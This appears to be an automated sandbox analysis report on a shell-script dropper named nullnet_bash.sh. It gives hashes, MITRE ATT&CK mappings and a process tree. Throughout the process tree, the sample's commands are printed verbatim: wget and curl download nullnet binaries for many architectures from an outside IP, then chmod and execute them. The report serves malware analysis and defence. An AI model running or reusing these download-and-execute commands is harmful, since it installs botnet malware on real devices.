2040185beb934da4c451dff56f113c7644d9edaf34ed61916407efb99651d94b

Analysis

max time kernel
11s
max time network
13s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/07/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nullnet_bash.sh
Size 2KB
Sample260721-ph16astsbz
SHA256 2040185beb934da4c451dff56f113c7644d9edaf34ed61916407efb99651d94b
MD5 dd3fff0bbcb2f1aab618c8c1a06a83ef
SHA1 5beece3faf24688978386fed90cf910c66664a58
SHA512 01175c8c15df14a71e8a02f5a3a7d143209babe71736bd3a645721fe58a830fab1cd130f5ea8c521202ce2dbf22c5e5db4a47c843ecdec0d4d6ab136086bb99d
TLSH
T1245146C8737581303FB2E97261E95BC422D0AA9390E56FC2B0F6BFA1518CE2D7094B81
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chmod
684	chmod
749	chmod
761	chmod
799	chmod
804	chmod
809	chmod
814	chmod
689	chmod
706	chmod
727	chmod
754	chmod
781	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/loudscream	680	nullnet_bash.sh
/tmp/loudscream	685	nullnet_bash.sh
/tmp/loudscream	690	nullnet_bash.sh
/tmp/loudscream	708	nullnet_bash.sh
/tmp/loudscream	729	nullnet_bash.sh
/tmp/loudscream	750	nullnet_bash.sh
/tmp/loudscream	755	nullnet_bash.sh
/tmp/loudscream	762	nullnet_bash.sh
/tmp/loudscream	782	nullnet_bash.sh
/tmp/loudscream	800	nullnet_bash.sh
/tmp/loudscream	805	nullnet_bash.sh
/tmp/loudscream	810	nullnet_bash.sh
/tmp/loudscream	815	nullnet_bash.sh

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
653	wget
671	curl
678	cat

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nullnet.mips	curl
File opened for modification	/tmp/loudscream	nullnet_bash.sh
File opened for modification	/tmp/nullnet.arm	curl
File opened for modification	/tmp/nullnet.arm5	curl
File opened for modification	/tmp/nullnet.arm6	curl
File opened for modification	/tmp/nullnet.ppc	curl
File opened for modification	/tmp/nullnet.x86_64	curl
File opened for modification	/tmp/nullnet.mpsl	curl
File opened for modification	/tmp/nullnet.arm7	curl
File opened for modification	/tmp/nullnet.m68k	curl
File opened for modification	/tmp/nullnet.sh4	curl
File opened for modification	/tmp/nullnet.spc	curl
File opened for modification	/tmp/nullnet.arc	curl
File opened for modification	/tmp/nullnet.i686	curl

/tmp/nullnet_bash.sh
/tmp/nullnet_bash.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:648
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:653
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:671
- /bin/cat
  cat nullnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:678
- /bin/chmod
  chmod +x loudscream nullnet_bash.sh nullnet.mips systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:680
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.mpsl
  2⤵
  PID:681
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/cat
  cat nullnet.mpsl
  2⤵
  PID:683
- /bin/chmod
  chmod +x loudscream nullnet_bash.sh nullnet.mips nullnet.mpsl systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:685
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:687
- /bin/cat
  cat nullnet.arm
  2⤵
  PID:688
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet_bash.sh nullnet.mips nullnet.mpsl systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:690
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm5
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/cat
  cat nullnet.arm5
  2⤵
  PID:705
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet_bash.sh nullnet.mips nullnet.mpsl systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:708
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm6
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/cat
  cat nullnet.arm6
  2⤵
  PID:726
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet.arm6 nullnet_bash.sh nullnet.mips nullnet.mpsl systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:729
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm7
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat nullnet.arm7
  2⤵
  PID:748
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.mips nullnet.mpsl systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:750
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.ppc
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat nullnet.ppc
  2⤵
  PID:753
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.mips nullnet.mpsl nullnet.ppc systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:755
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.m68k
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat nullnet.m68k
  2⤵
  PID:758
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:762
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.sh4
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/cat
  cat nullnet.sh4
  2⤵
  PID:779
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:782
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.spc
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/cat
  cat nullnet.spc
  2⤵
  PID:798
- /bin/chmod
  chmod +x loudscream nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:800
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arc
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/cat
  cat nullnet.arc
  2⤵
  PID:803
- /bin/chmod
  chmod +x loudscream nullnet.arc nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:805
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.x86_64
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/cat
  cat nullnet.x86_64
  2⤵
  PID:808
- /bin/chmod
  chmod +x loudscream nullnet.arc nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc nullnet.x86_64 systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:810
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.i686
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat nullnet.i686
  2⤵
  PID:813
- /bin/chmod
  chmod +x loudscream nullnet.arc nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.i686 nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc nullnet.x86_64 systemd-private-aa8938032a474ae0ac52a084f16380e4-systemd-timedated.service-TEMlqD
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:815

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

loudscream

Path /tmp/loudscream
Size 162B
SHA256 766c1d6bcb81d3e983fb7adbc19c616d7fc01dafb7893738edc242e2adc59c07
MD5 37d5c3a24983196361e6ce9b1a499464
SHA1 2dd5878df894f3c648e42408879e9a61c112d1b3
SHA512 cc140d1f61a01ba5f282d682dfeb19229426c7164b147a3031d3b5544c2d7213ce19b075a81d5e00750bdac7b1d9232b8b971e026d838ccae9466523338b09a9
TLSH
T1EAC08C6E2513BD4CC663217432C36490C08B93A7A4EA42228440805331CB2AA8AC7396
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads